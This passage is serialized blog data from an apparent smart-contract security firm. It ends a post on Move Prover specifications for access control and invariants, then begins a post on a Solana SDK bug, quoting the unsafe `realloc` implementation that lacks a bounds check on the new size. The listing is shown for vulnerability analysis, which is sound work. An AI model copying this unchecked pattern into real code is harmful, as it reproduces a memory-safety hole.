"tag":930,"props":15839,"children":15840},{"style":959},[15841],{"type":30,"value":11819},{"type":24,"tag":930,"props":15843,"children":15844},{"style":1023},[15845],{"type":30,"value":15739},{"type":24,"tag":930,"props":15847,"children":15848},{"style":1158},[15849],{"type":30,"value":12924},{"type":24,"tag":930,"props":15851,"children":15852},{"style":1023},[15853],{"type":30,"value":15854}," multiplier",{"type":24,"tag":930,"props":15856,"children":15857},{"style":1158},[15858],{"type":30,"value":436},{"type":24,"tag":930,"props":15860,"children":15861},{"style":959},[15862],{"type":30,"value":15863},"value) ",{"type":24,"tag":930,"props":15865,"children":15866},{"style":1158},[15867],{"type":30,"value":15868},">>",{"type":24,"tag":930,"props":15870,"children":15871},{"style":1242},[15872],{"type":30,"value":15873}," 32\n",{"type":24,"tag":930,"props":15875,"children":15876},{"class":932,"line":1131},[15877],{"type":24,"tag":930,"props":15878,"children":15879},{"style":959},[15880],{"type":30,"value":15771},{"type":24,"tag":151,"props":15882,"children":15884},{"id":15883},"access-control-policies",[15885],{"type":30,"value":15886},"Access Control Policies",{"type":24,"tag":33,"props":15888,"children":15889},{},[15890],{"type":30,"value":15891},"Somewhat similar to error conditions, it's often useful to enforce explicit access control policies at the specification level.",{"type":24,"tag":33,"props":15893,"children":15894},{},[15895,15897,15903,15905,15910],{"type":30,"value":15896},"For example, in ",{"type":24,"tag":156,"props":15898,"children":15900},{"className":15899},[],[15901],{"type":30,"value":15902},"std::offer",{"type":30,"value":15904}," we are able to see that the function should abort if and only if there does not exist an offer, ",{"type":24,"tag":6032,"props":15906,"children":15907},{},[15908],{"type":30,"value":15909},"or",{"type":30,"value":15911}," the recipient is now allowed.",{"type":24,"tag":920,"props":15913,"children":15915},{"code":15914,"language":6101,"meta":7,"className":6102,"style":7},"    spec redeem {\n      /// Aborts if there is no offer under `offer_address` or if the account\n      /// cannot redeem the offer.\n      /// Ensures that the offered struct under `offer_address` is removed.\n      aborts_if !exists\u003COffer\u003COffered>>(offer_address);\n      aborts_if !is_allowed_recipient\u003COffered>(offer_address, signer::address_of(account));\n      ensures !exists\u003COffer\u003COffered>>(offer_address);\n      ensures result == old(global\u003COffer\u003COffered>>(offer_address).offered);\n    }\n",[15916],{"type":24,"tag":156,"props":15917,"children":15918},{"__ignoreMap":7},[15919,15936,15944,15952,15960,16007,16065,16108,16174],{"type":24,"tag":930,"props":15920,"children":15921},{"class":932,"line":933},[15922,15927,15932],{"type":24,"tag":930,"props":15923,"children":15924},{"style":1023},[15925],{"type":30,"value":15926},"    spec",{"type":24,"tag":930,"props":15928,"children":15929},{"style":1023},[15930],{"type":30,"value":15931}," redeem",{"type":24,"tag":930,"props":15933,"children":15934},{"style":959},[15935],{"type":30,"value":981},{"type":24,"tag":930,"props":15937,"children":15938},{"class":932,"line":984},[15939],{"type":24,"tag":930,"props":15940,"children":15941},{"style":1422},[15942],{"type":30,"value":15943},"      /// Aborts if there is no offer under `offer_address` or if the account\n",{"type":24,"tag":930,"props":15945,"children":15946},{"class":932,"line":993},[15947],{"type":24,"tag":930,"props":15948,"children":15949},{"style":1422},[15950],{"type":30,"value":15951},"      /// cannot redeem the offer.\n",{"type":24,"tag":930,"props":15953,"children":15954},{"class":932,"line":1057},[15955],{"type":24,"tag":930,"props":15956,"children":15957},{"style":1422},[15958],{"type":30,"value":15959},"      /// Ensures that the offered struct under `offer_address` is removed.\n",{"type":24,"tag":930,"props":15961,"children":15962},{"class":932,"line":1066},[15963,15967,15972,15976,15980,15985,15989,15994,15998,16003],{"type":24,"tag":930,"props":15964,"children":15965},{"style":1023},[15966],{"type":30,"value":12162},{"type":24,"tag":930,"props":15968,"children":15969},{"style":1158},[15970],{"type":30,"value":15971}," !",{"type":24,"tag":930,"props":15973,"children":15974},{"style":1023},[15975],{"type":30,"value":9816},{"type":24,"tag":930,"props":15977,"children":15978},{"style":959},[15979],{"type":30,"value":1350},{"type":24,"tag":930,"props":15981,"children":15982},{"style":943},[15983],{"type":30,"value":15984},"Offer",{"type":24,"tag":930,"props":15986,"children":15987},{"style":959},[15988],{"type":30,"value":1350},{"type":24,"tag":930,"props":15990,"children":15991},{"style":943},[15992],{"type":30,"value":15993},"Offered",{"type":24,"tag":930,"props":15995,"children":15996},{"style":959},[15997],{"type":30,"value":9838},{"type":24,"tag":930,"props":15999,"children":16000},{"style":1023},[16001],{"type":30,"value":16002},"offer_address",{"type":24,"tag":930,"props":16004,"children":16005},{"style":959},[16006],{"type":30,"value":1278},{"type":24,"tag":930,"props":16008,"children":16009},{"class":932,"line":1075},[16010,16014,16018,16023,16027,16031,16035,16039,16044,16048,16052,16056,16061],{"type":24,"tag":930,"props":16011,"children":16012},{"style":1023},[16013],{"type":30,"value":12162},{"type":24,"tag":930,"props":16015,"children":16016},{"style":1158},[16017],{"type":30,"value":15971},{"type":24,"tag":930,"props":16019,"children":16020},{"style":1023},[16021],{"type":30,"value":16022},"is_allowed_recipient",{"type":24,"tag":930,"props":16024,"children":16025},{"style":959},[16026],{"type":30,"value":1350},{"type":24,"tag":930,"props":16028,"children":16029},{"style":943},[16030],{"type":30,"value":15993},{"type":24,"tag":930,"props":16032,"children":16033},{"style":959},[16034],{"type":30,"value":10721},{"type":24,"tag":930,"props":16036,"children":16037},{"style":1023},[16038],{"type":30,"value":16002},{"type":24,"tag":930,"props":16040,"children":16041},{"style":959},[16042],{"type":30,"value":16043},", signer",{"type":24,"tag":930,"props":16045,"children":16046},{"style":1158},[16047],{"type":30,"value":6597},{"type":24,"tag":930,"props":16049,"children":16050},{"style":1002},[16051],{"type":30,"value":10321},{"type":24,"tag":930,"props":16053,"children":16054},{"style":959},[16055],{"type":30,"value":1010},{"type":24,"tag":930,"props":16057,"children":16058},{"style":1023},[16059],{"type":30,"value":16060},"account",{"type":24,"tag":930,"props":16062,"children":16063},{"style":959},[16064],{"type":30,"value":2058},{"type":24,"tag":930,"props":16066,"children":16067},{"class":932,"line":1122},[16068,16072,16076,16080,16084,16088,16092,16096,16100,16104],{"type":24,"tag":930,"props":16069,"children":16070},{"style":1023},[16071],{"type":30,"value":11296},{"type":24,"tag":930,"props":16073,"children":16074},{"style":1158},[16075],{"type":30,"value":15971},{"type":24,"tag":930,"props":16077,"children":16078},{"style":1023},[16079],{"type":30,"value":9816},{"type":24,"tag":930,"props":16081,"children":16082},{"style":959},[16083],{"type":30,"value":1350},{"type":24,"tag":930,"props":16085,"children":16086},{"style":943},[16087],{"type":30,"value":15984},{"type":24,"tag":930,"props":16089,"children":16090},{"style":959},[16091],{"type":30,"value":1350},{"type":24,"tag":930,"props":16093,"children":16094},{"style":943},[16095],{"type":30,"value":15993},{"type":24,"tag":930,"props":16097,"children":16098},{"style":959},[16099],{"type":30,"value":9838},{"type":24,"tag":930,"props":16101,"children":16102},{"style":1023},[16103],{"type":30,"value":16002},{"type":24,"tag":930,"props":16105,"children":16106},{"style":959},[16107],{"type":30,"value":1278},{"type":24,"tag":930,"props":16109,"children":16110},{"class":932,"line":1131},[16111,16115,16119,16123,16128,16132,16137,16141,16145,16149,16153,16157,16161,16165,16169],{"type":24,"tag":930,"props":16112,"children":16113},{"style":1023},[16114],{"type":30,"value":11296},{"type":24,"tag":930,"props":16116,"children":16117},{"style":1023},[16118],{"type":30,"value":12268},{"type":24,"tag":930,"props":16120,"children":16121},{"style":1158},[16122],{"type":30,"value":6402},{"type":24,"tag":930,"props":16124,"children":16125},{"style":1002},[16126],{"type":30,"value":16127}," old",{"type":24,"tag":930,"props":16129,"children":16130},{"style":959},[16131],{"type":30,"value":1010},{"type":24,"tag":930,"props":16133,"children":16134},{"style":1023},[16135],{"type":30,"value":16136},"global",{"type":24,"tag":930,"props":16138,"children":16139},{"style":959},[16140],{"type":30,"value":1350},{"type":24,"tag":930,"props":16142,"children":16143},{"style":943},[16144],{"type":30,"value":15984},{"type":24,"tag":930,"props":16146,"children":16147},{"style":959},[16148],{"type":30,"value":1350},{"type":24,"tag":930,"props":16150,"children":16151},{"style":943},[16152],{"type":30,"value":15993},{"type":24,"tag":930,"props":16154,"children":16155},{"style":959},[16156],{"type":30,"value":9838},{"type":24,"tag":930,"props":16158,"children":16159},{"style":1023},[16160],{"type":30,"value":16002},{"type":24,"tag":930,"props":16162,"children":16163},{"style":959},[16164],{"type":30,"value":6249},{"type":24,"tag":930,"props":16166,"children":16167},{"style":1158},[16168],{"type":30,"value":436},{"type":24,"tag":930,"props":16170,"children":16171},{"style":959},[16172],{"type":30,"value":16173},"offered);\n",{"type":24,"tag":930,"props":16175,"children":16176},{"class":932,"line":1144},[16177],{"type":24,"tag":930,"props":16178,"children":16179},{"style":959},[16180],{"type":30,"value":1840},{"type":24,"tag":33,"props":16182,"children":16183},{},[16184],{"type":30,"value":16185},"These access control specifications make it impossible to accidentally remove security critical access control policies later.",{"type":24,"tag":151,"props":16187,"children":16189},{"id":16188},"complex-mathematical-formulae",[16190],{"type":30,"value":16191},"Complex Mathematical Formulae",{"type":24,"tag":33,"props":16193,"children":16194},{},[16195,16197,16202],{"type":30,"value":16196},"Whether it's a decimal implementation or more complex data structures, it's often useful to verify that the expected output is ",{"type":24,"tag":6032,"props":16198,"children":16199},{},[16200],{"type":30,"value":16201},"always",{"type":30,"value":16203}," the output.",{"type":24,"tag":33,"props":16205,"children":16206},{},[16207],{"type":30,"value":16208},"Proving that your fundamental data structures work exactly as intended will give you much more confidence in the remainder of your codebase.",{"type":24,"tag":33,"props":16210,"children":16211},{},[16212,16214,16221],{"type":30,"value":16213},"For example, in our work with ",{"type":24,"tag":37,"props":16215,"children":16218},{"href":16216,"rel":16217},"https://laminar.markets/",[41],[16219],{"type":30,"value":16220},"Laminar Markets",{"type":30,"value":16222},", we provided recommendations for verifying their internal splay tree implementation against a simpler priority queue data structure.",{"type":24,"tag":151,"props":16224,"children":16226},{"id":16225},"data-invariants",[16227],{"type":30,"value":16228},"Data Invariants",{"type":24,"tag":33,"props":16230,"children":16231},{},[16232,16234,16240,16242,16248,16250,16256,16258,16264],{"type":30,"value":16233},"Formal verification provides the best environment to verify that certain ",{"type":24,"tag":156,"props":16235,"children":16237},{"className":16236},[],[16238],{"type":30,"value":16239},"variables",{"type":30,"value":16241}," or ",{"type":24,"tag":156,"props":16243,"children":16245},{"className":16244},[],[16246],{"type":30,"value":16247},"resources",{"type":30,"value":16249}," don't exceed the intended boundaries. Let's consider the struct from below. We can ensure that ",{"type":24,"tag":156,"props":16251,"children":16253},{"className":16252},[],[16254],{"type":30,"value":16255},"index",{"type":30,"value":16257}," is never greater than 4 using a ",{"type":24,"tag":156,"props":16259,"children":16261},{"className":16260},[],[16262],{"type":30,"value":16263},"struct invariant",{"type":30,"value":436},{"type":24,"tag":920,"props":16266,"children":16268},{"code":16267,"language":6101,"meta":7,"className":6102,"style":7},"struct Type {\n    index: u64\n}\n\nspec Type {\n    invariant index \u003C 4;\n}\n",[16269],{"type":24,"tag":156,"props":16270,"children":16271},{"__ignoreMap":7},[16272,16288,16305,16312,16319,16334,16358],{"type":24,"tag":930,"props":16273,"children":16274},{"class":932,"line":933},[16275,16279,16284],{"type":24,"tag":930,"props":16276,"children":16277},{"style":937},[16278],{"type":30,"value":12509},{"type":24,"tag":930,"props":16280,"children":16281},{"style":943},[16282],{"type":30,"value":16283}," Type",{"type":24,"tag":930,"props":16285,"children":16286},{"style":959},[16287],{"type":30,"value":981},{"type":24,"tag":930,"props":16289,"children":16290},{"class":932,"line":984},[16291,16296,16300],{"type":24,"tag":930,"props":16292,"children":16293},{"style":1023},[16294],{"type":30,"value":16295},"    index",{"type":24,"tag":930,"props":16297,"children":16298},{"style":1158},[16299],{"type":30,"value":476},{"type":24,"tag":930,"props":16301,"children":16302},{"style":943},[16303],{"type":30,"value":16304}," u64\n",{"type":24,"tag":930,"props":16306,"children":16307},{"class":932,"line":993},[16308],{"type":24,"tag":930,"props":16309,"children":16310},{"style":959},[16311],{"type":30,"value":2528},{"type":24,"tag":930,"props":16313,"children":16314},{"class":932,"line":1057},[16315],{"type":24,"tag":930,"props":16316,"children":16317},{"emptyLinePlaceholder":16},[16318],{"type":30,"value":2412},{"type":24,"tag":930,"props":16320,"children":16321},{"class":932,"line":1066},[16322,16326,16330],{"type":24,"tag":930,"props":16323,"children":16324},{"style":1023},[16325],{"type":30,"value":11384},{"type":24,"tag":930,"props":16327,"children":16328},{"style":943},[16329],{"type":30,"value":16283},{"type":24,"tag":930,"props":16331,"children":16332},{"style":959},[16333],{"type":30,"value":981},{"type":24,"tag":930,"props":16335,"children":16336},{"class":932,"line":1075},[16337,16341,16346,16350,16354],{"type":24,"tag":930,"props":16338,"children":16339},{"style":1023},[16340],{"type":30,"value":11401},{"type":24,"tag":930,"props":16342,"children":16343},{"style":1023},[16344],{"type":30,"value":16345}," index",{"type":24,"tag":930,"props":16347,"children":16348},{"style":1158},[16349],{"type":30,"value":11828},{"type":24,"tag":930,"props":16351,"children":16352},{"style":1242},[16353],{"type":30,"value":14852},{"type":24,"tag":930,"props":16355,"children":16356},{"style":959},[16357],{"type":30,"value":5539},{"type":24,"tag":930,"props":16359,"children":16360},{"class":932,"line":1122},[16361],{"type":24,"tag":930,"props":16362,"children":16363},{"style":959},[16364],{"type":30,"value":2528},{"type":24,"tag":33,"props":16366,"children":16367},{},[16368,16370,16377,16378,16384],{"type":30,"value":16369},"We were able to verify more complex properties in our recent audits for ",{"type":24,"tag":37,"props":16371,"children":16374},{"href":16372,"rel":16373},"https://layerzero.network/",[41],[16375],{"type":30,"value":16376},"LayerZero",{"type":30,"value":211},{"type":24,"tag":37,"props":16379,"children":16382},{"href":16380,"rel":16381},"http://ariesmarkets.xyz/",[41],[16383],{"type":30,"value":9902},{"type":30,"value":16385},", but the details are left as an exercise to the reader.",{"type":24,"tag":151,"props":16387,"children":16389},{"id":16388},"economic-invariants",[16390],{"type":30,"value":16391},"Economic Invariants.",{"type":24,"tag":33,"props":16393,"children":16394},{},[16395],{"type":30,"value":16396},"Proper economic invariants can require more creativity to come up with but can be extremely effective at securing your protocol.",{"type":24,"tag":33,"props":16398,"children":16399},{},[16400],{"type":30,"value":16401},"For example, you should never be able to drain coins from a pool by adding and removing shares. In practice, you might implement this as a utility helper function.",{"type":24,"tag":920,"props":16403,"children":16404},{"code":11077,"language":6101,"meta":7,"className":6102,"style":7},[16405],{"type":24,"tag":156,"props":16406,"children":16407},{"__ignoreMap":7},[16408,16415,16498,16537,16556,16563,16578,16601,16624,16647],{"type":24,"tag":930,"props":16409,"children":16410},{"class":932,"line":933},[16411],{"type":24,"tag":930,"props":16412,"children":16413},{"style":1422},[16414],{"type":30,"value":11089},{"type":24,"tag":930,"props":16416,"children":16417},{"class":932,"line":984},[16418,16422,16426,16430,16434,16438,16442,16446,16450,16454,16458,16462,16466,16470,16474,16478,16482,16486,16490,16494],{"type":24,"tag":930,"props":16419,"children":16420},{"style":1023},[16421],{"type":30,"value":9681},{"type":24,"tag":930,"props":16423,"children":16424},{"style":1002},[16425],{"type":30,"value":11101},{"type":24,"tag":930,"props":16427,"children":16428},{"style":959},[16429],{"type":30,"value":1010},{"type":24,"tag":930,"props":16431,"children":16432},{"style":1023},[16433],{"type":30,"value":11110},{"type":24,"tag":930,"props":16435,"children":16436},{"style":1158},[16437],{"type":30,"value":476},{"type":24,"tag":930,"props":16439,"children":16440},{"style":943},[16441],{"type":30,"value":8972},{"type":24,"tag":930,"props":16443,"children":16444},{"style":959},[16445],{"type":30,"value":962},{"type":24,"tag":930,"props":16447,"children":16448},{"style":1023},[16449],{"type":30,"value":11127},{"type":24,"tag":930,"props":16451,"children":16452},{"style":1158},[16453],{"type":30,"value":476},{"type":24,"tag":930,"props":16455,"children":16456},{"style":943},[16457],{"type":30,"value":8972},{"type":24,"tag":930,"props":16459,"children":16460},{"style":959},[16461],{"type":30,"value":6249},{"type":24,"tag":930,"props":16463,"children":16464},{"style":1158},[16465],{"type":30,"value":476},{"type":24,"tag":930,"props":16467,"children":16468},{"style":959},[16469],{"type":30,"value":1087},{"type":24,"tag":930,"props":16471,"children":16472},{"style":943},[16473],{"type":30,"value":11152},{"type":24,"tag":930,"props":16475,"children":16476},{"style":959},[16477],{"type":30,"value":962},{"type":24,"tag":930,"props":16479,"children":16480},{"style":943},[16481],{"type":30,"value":11152},{"type":24,"tag":930,"props":16483,"children":16484},{"style":959},[16485],{"type":30,"value":5579},{"type":24,"tag":930,"props":16487,"children":16488},{"style":1023},[16489],{"type":30,"value":9456},{"type":24,"tag":930,"props":16491,"children":16492},{"style":943},[16493],{"type":30,"value":11173},{"type":24,"tag":930,"props":16495,"children":16496},{"style":959},[16497],{"type":30,"value":981},{"type":24,"tag":930,"props":16499,"children":16500},{"class":932,"line":993},[16501,16505,16509,16513,16517,16521,16525,16529,16533],{"type":24,"tag":930,"props":16502,"children":16503},{"style":937},[16504],{"type":30,"value":11185},{"type":24,"tag":930,"props":16506,"children":16507},{"style":1023},[16508],{"type":30,"value":11190},{"type":24,"tag":930,"props":16510,"children":16511},{"style":1158},[16512],{"type":30,"value":6137},{"type":24,"tag":930,"props":16514,"children":16515},{"style":1002},[16516],{"type":30,"value":11199},{"type":24,"tag":930,"props":16518,"children":16519},{"style":959},[16520],{"type":30,"value":1010},{"type":24,"tag":930,"props":16522,"children":16523},{"style":1023},[16524],{"type":30,"value":11110},{"type":24,"tag":930,"props":16526,"children":16527},{"style":959},[16528],{"type":30,"value":962},{"type":24,"tag":930,"props":16530,"children":16531},{"style":1023},[16532],{"type":30,"value":11127},{"type":24,"tag":930,"props":16534,"children":16535},{"style":959},[16536],{"type":30,"value":1278},{"type":24,"tag":930,"props":16538,"children":16539},{"class":932,"line":1057},[16540,16544,16548,16552],{"type":24,"tag":930,"props":16541,"children":16542},{"style":1002},[16543],{"type":30,"value":11227},{"type":24,"tag":930,"props":16545,"children":16546},{"style":959},[16547],{"type":30,"value":1010},{"type":24,"tag":930,"props":16549,"children":16550},{"style":1023},[16551],{"type":30,"value":11236},{"type":24,"tag":930,"props":16553,"children":16554},{"style":959},[16555],{"type":30,"value":1054},{"type":24,"tag":930,"props":16557,"children":16558},{"class":932,"line":1066},[16559],{"type":24,"tag":930,"props":16560,"children":16561},{"style":959},[16562],{"type":30,"value":8984},{"type":24,"tag":930,"props":16564,"children":16565},{"class":932,"line":1075},[16566,16570,16574],{"type":24,"tag":930,"props":16567,"children":16568},{"style":1023},[16569],{"type":30,"value":11255},{"type":24,"tag":930,"props":16571,"children":16572},{"style":1023},[16573],{"type":30,"value":11101},{"type":24,"tag":930,"props":16575,"children":16576},{"style":959},[16577],{"type":30,"value":981},{"type":24,"tag":930,"props":16579,"children":16580},{"class":932,"line":1122},[16581,16585,16589,16593,16597],{"type":24,"tag":930,"props":16582,"children":16583},{"style":1023},[16584],{"type":30,"value":11271},{"type":24,"tag":930,"props":16586,"children":16587},{"style":1023},[16588],{"type":30,"value":11276},{"type":24,"tag":930,"props":16590,"children":16591},{"style":1158},[16592],{"type":30,"value":1161},{"type":24,"tag":930,"props":16594,"children":16595},{"style":937},[16596],{"type":30,"value":1790},{"type":24,"tag":930,"props":16598,"children":16599},{"style":959},[16600],{"type":30,"value":5539},{"type":24,"tag":930,"props":16602,"children":16603},{"class":932,"line":1131},[16604,16608,16612,16616,16620],{"type":24,"tag":930,"props":16605,"children":16606},{"style":1023},[16607],{"type":30,"value":11296},{"type":24,"tag":930,"props":16609,"children":16610},{"style":1023},[16611],{"type":30,"value":11301},{"type":24,"tag":930,"props":16613,"children":16614},{"style":1158},[16615],{"type":30,"value":11306},{"type":24,"tag":930,"props":16617,"children":16618},{"style":1023},[16619],{"type":30,"value":11311},{"type":24,"tag":930,"props":16621,"children":16622},{"style":959},[16623],{"type":30,"value":5539},{"type":24,"tag":930,"props":16625,"children":16626},{"class":932,"line":1144},[16627,16631,16635,16639,16643],{"type":24,"tag":930,"props":16628,"children":16629},{"style":1023},[16630],{"type":30,"value":11296},{"type":24,"tag":930,"props":16632,"children":16633},{"style":1023},[16634],{"type":30,"value":11327},{"type":24,"tag":930,"props":16636,"children":16637},{"style":1158},[16638],{"type":30,"value":11306},{"type":24,"tag":930,"props":16640,"children":16641},{"style":1023},[16642],{"type":30,"value":11336},{"type":24,"tag":930,"props":16644,"children":16645},{"style":959},[16646],{"type":30,"value":5539},{"type":24,"tag":930,"props":16648,"children":16649},{"class":932,"line":1169},[16650],{"type":24,"tag":930,"props":16651,"children":16652},{"style":959},[16653],{"type":30,"value":8984},{"type":24,"tag":33,"props":16655,"children":16656},{},[16657],{"type":30,"value":16658},"Some other ideas include",{"type":24,"tag":478,"props":16660,"children":16661},{},[16662,16667,16672],{"type":24,"tag":100,"props":16663,"children":16664},{},[16665],{"type":30,"value":16666},"Swapping through an AMM should never lead to a decrease in one side of the pool without also increasing the other side. In other words, no free money",{"type":24,"tag":100,"props":16668,"children":16669},{},[16670],{"type":30,"value":16671},"Lending protocols should always be fully collateralized after a series of deposit, borrow, and withdraw instructions.",{"type":24,"tag":100,"props":16673,"children":16674},{},[16675],{"type":30,"value":16676},"Orderbooks should never lose money after an order is placed and then canceled.",{"type":24,"tag":68,"props":16678,"children":16679},{"id":8423},[16680],{"type":30,"value":8426},{"type":24,"tag":33,"props":16682,"children":16683},{},[16684],{"type":30,"value":16685},"In this post, we've explored how to properly utilize the Move Prover to verify critical invariants about your codebase.",{"type":24,"tag":33,"props":16687,"children":16688},{},[16689],{"type":30,"value":16690},"In our upcoming posts, we will explore how to turn the Move Prover into a weapon for squashing security vulnerabilities by learning how to ask the right questions, so stay tuned!",{"type":24,"tag":33,"props":16692,"children":16693},{},[16694,16696,16701],{"type":30,"value":16695},"We're passionate about formal verification and pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":24,"tag":37,"props":16697,"children":16699},{"href":12349,"rel":16698},[41],[16700],{"type":30,"value":12353},{"type":30,"value":436},{"type":24,"tag":5957,"props":16703,"children":16704},{},[16705],{"type":30,"value":5961},{"title":7,"searchDepth":984,"depth":984,"links":16707},[16708,16709,16712,16719],{"id":12413,"depth":984,"text":12416},{"id":12467,"depth":984,"text":12470,"children":16710},[16711],{"id":12718,"depth":993,"text":12714},{"id":15616,"depth":984,"text":15619,"children":16713},[16714,16715,16716,16717,16718],{"id":15632,"depth":993,"text":15635},{"id":15883,"depth":993,"text":15886},{"id":16188,"depth":993,"text":16191},{"id":16225,"depth":993,"text":16228},{"id":16388,"depth":993,"text":16391},{"id":8423,"depth":984,"text":8426},"content:blog:2022-09-16-move-prover.md","blog/2022-09-16-move-prover.md","blog/2022-09-16-move-prover",{"_path":16724,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":16725,"description":16726,"author":16727,"image":16728,"date":16731,"isFeatured":16,"onBlogPage":16,"tags":16732,"body":16733,"_type":5983,"_id":21844,"_source":5985,"_file":21845,"_stem":21846,"_extension":5988},"/blog/2022-12-09-rust-realloc-and-references","Rust, Realloc, and References","Rust is safe.. right? Not if your dependencies are unsafe.. A deep dive into a subtle Solana SDK bug, Rust internals, and how we found it all.","ethan",{"src":16729,"height":16730,"width":15},"/posts/rust-realloc-and-references/title.jpg",512,"2022-12-09",[6001,12377],{"type":21,"children":16734,"toc":21828},[16735,16763,16783,17452,17472,17483,17495,17628,17638,17644,17670,18008,18053,18379,18442,18455,18529,18597,18618,18631,18645,18992,19003,19008,19139,19190,19216,19228,19401,19536,19577,19614,19680,19685,19722,19776,19787,19930,19942,19948,19954,19987,20001,20123,20142,20170,20176,20266,20357,20363,20368,20415,20684,20759,20770,20796,21128,21140,21213,21485,21522,21824],{"type":24,"tag":33,"props":16736,"children":16737},{},[16738,16740,16746,16748,16753,16755,16761],{"type":30,"value":16739},"It all started with an audit of a program that used ",{"type":24,"tag":156,"props":16741,"children":16743},{"className":16742},[],[16744],{"type":30,"value":16745},"realloc",{"type":30,"value":16747}," on an account, without any bounds checks on the new size allowed. It seemed like the developers assumed that if the new size was too large, the ",{"type":24,"tag":156,"props":16749,"children":16751},{"className":16750},[],[16752],{"type":30,"value":16745},{"type":30,"value":16754}," call (from ",{"type":24,"tag":156,"props":16756,"children":16758},{"className":16757},[],[16759],{"type":30,"value":16760},"solana_program",{"type":30,"value":16762},") would error out appropriately.",{"type":24,"tag":33,"props":16764,"children":16765},{},[16766,16768,16774,16775,16782],{"type":30,"value":16767},"But we're not ones to just assume things around here, so let's take a look at how ",{"type":24,"tag":156,"props":16769,"children":16771},{"className":16770},[],[16772],{"type":30,"value":16773},"AccountInfo::realloc",{"type":30,"value":3678},{"type":24,"tag":37,"props":16776,"children":16779},{"href":16777,"rel":16778},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#124-148",[41],[16780],{"type":30,"value":16781},"implemented",{"type":30,"value":476},{"type":24,"tag":920,"props":16784,"children":16786},{"className":6102,"code":16785,"language":6101,"meta":7,"style":7},"pub fn realloc(&self, new_len: usize, zero_init: bool) -> Result\u003C(), ProgramError> {\n    let orig_len = self.data_len();\n\n    // realloc\n    unsafe {\n        // First set new length in the serialized data\n        let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n        *ptr = new_len as u64;\n\n        // Then set the new length in the local slice\n        let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n        *ptr = new_len as u64;\n    }\n\n    // zero-init if requested\n    if zero_init && new_len > orig_len {\n        sol_memset(\n            &mut self.try_borrow_mut_data()?[orig_len..],\n            0,\n            new_len.saturating_sub(orig_len),\n        );\n    }\n\n    Ok(())\n}\n",[16787],{"type":24,"tag":156,"props":16788,"children":16789},{"__ignoreMap":7},[16790,16884,16918,16925,16933,16945,16953,17045,17078,17085,17093,17222,17253,17260,17267,17275,17309,17321,17370,17382,17411,17418,17425,17432,17445],{"type":24,"tag":930,"props":16791,"children":16792},{"class":932,"line":933},[16793,16798,16803,16808,16812,16816,16821,16825,16830,16834,16839,16843,16848,16852,16856,16860,16865,16870,16875,16880],{"type":24,"tag":930,"props":16794,"children":16795},{"style":937},[16796],{"type":30,"value":16797},"pub",{"type":24,"tag":930,"props":16799,"children":16800},{"style":937},[16801],{"type":30,"value":16802}," fn",{"type":24,"tag":930,"props":16804,"children":16805},{"style":1002},[16806],{"type":30,"value":16807}," realloc",{"type":24,"tag":930,"props":16809,"children":16810},{"style":959},[16811],{"type":30,"value":1010},{"type":24,"tag":930,"props":16813,"children":16814},{"style":1158},[16815],{"type":30,"value":6230},{"type":24,"tag":930,"props":16817,"children":16818},{"style":937},[16819],{"type":30,"value":16820},"self",{"type":24,"tag":930,"props":16822,"children":16823},{"style":959},[16824],{"type":30,"value":962},{"type":24,"tag":930,"props":16826,"children":16827},{"style":1023},[16828],{"type":30,"value":16829},"new_len",{"type":24,"tag":930,"props":16831,"children":16832},{"style":1158},[16833],{"type":30,"value":476},{"type":24,"tag":930,"props":16835,"children":16836},{"style":943},[16837],{"type":30,"value":16838}," usize",{"type":24,"tag":930,"props":16840,"children":16841},{"style":959},[16842],{"type":30,"value":962},{"type":24,"tag":930,"props":16844,"children":16845},{"style":1023},[16846],{"type":30,"value":16847},"zero_init",{"type":24,"tag":930,"props":16849,"children":16850},{"style":1158},[16851],{"type":30,"value":476},{"type":24,"tag":930,"props":16853,"children":16854},{"style":943},[16855],{"type":30,"value":15157},{"type":24,"tag":930,"props":16857,"children":16858},{"style":959},[16859],{"type":30,"value":5579},{"type":24,"tag":930,"props":16861,"children":16862},{"style":1158},[16863],{"type":30,"value":16864},"->",{"type":24,"tag":930,"props":16866,"children":16867},{"style":943},[16868],{"type":30,"value":16869}," Result",{"type":24,"tag":930,"props":16871,"children":16872},{"style":959},[16873],{"type":30,"value":16874},"\u003C(), ",{"type":24,"tag":930,"props":16876,"children":16877},{"style":943},[16878],{"type":30,"value":16879},"ProgramError",{"type":24,"tag":930,"props":16881,"children":16882},{"style":959},[16883],{"type":30,"value":10392},{"type":24,"tag":930,"props":16885,"children":16886},{"class":932,"line":984},[16887,16891,16896,16900,16905,16909,16914],{"type":24,"tag":930,"props":16888,"children":16889},{"style":937},[16890],{"type":30,"value":6122},{"type":24,"tag":930,"props":16892,"children":16893},{"style":1023},[16894],{"type":30,"value":16895}," orig_len",{"type":24,"tag":930,"props":16897,"children":16898},{"style":1158},[16899],{"type":30,"value":6137},{"type":24,"tag":930,"props":16901,"children":16902},{"style":937},[16903],{"type":30,"value":16904}," self",{"type":24,"tag":930,"props":16906,"children":16907},{"style":1158},[16908],{"type":30,"value":436},{"type":24,"tag":930,"props":16910,"children":16911},{"style":1002},[16912],{"type":30,"value":16913},"data_len",{"type":24,"tag":930,"props":16915,"children":16916},{"style":959},[16917],{"type":30,"value":1310},{"type":24,"tag":930,"props":16919,"children":16920},{"class":932,"line":993},[16921],{"type":24,"tag":930,"props":16922,"children":16923},{"emptyLinePlaceholder":16},[16924],{"type":30,"value":2412},{"type":24,"tag":930,"props":16926,"children":16927},{"class":932,"line":1057},[16928],{"type":24,"tag":930,"props":16929,"children":16930},{"style":1422},[16931],{"type":30,"value":16932},"    // realloc\n",{"type":24,"tag":930,"props":16934,"children":16935},{"class":932,"line":1066},[16936,16941],{"type":24,"tag":930,"props":16937,"children":16938},{"style":937},[16939],{"type":30,"value":16940},"    unsafe",{"type":24,"tag":930,"props":16942,"children":16943},{"style":959},[16944],{"type":30,"value":981},{"type":24,"tag":930,"props":16946,"children":16947},{"class":932,"line":1075},[16948],{"type":24,"tag":930,"props":16949,"children":16950},{"style":1422},[16951],{"type":30,"value":16952},"        // First set new length in the serialized 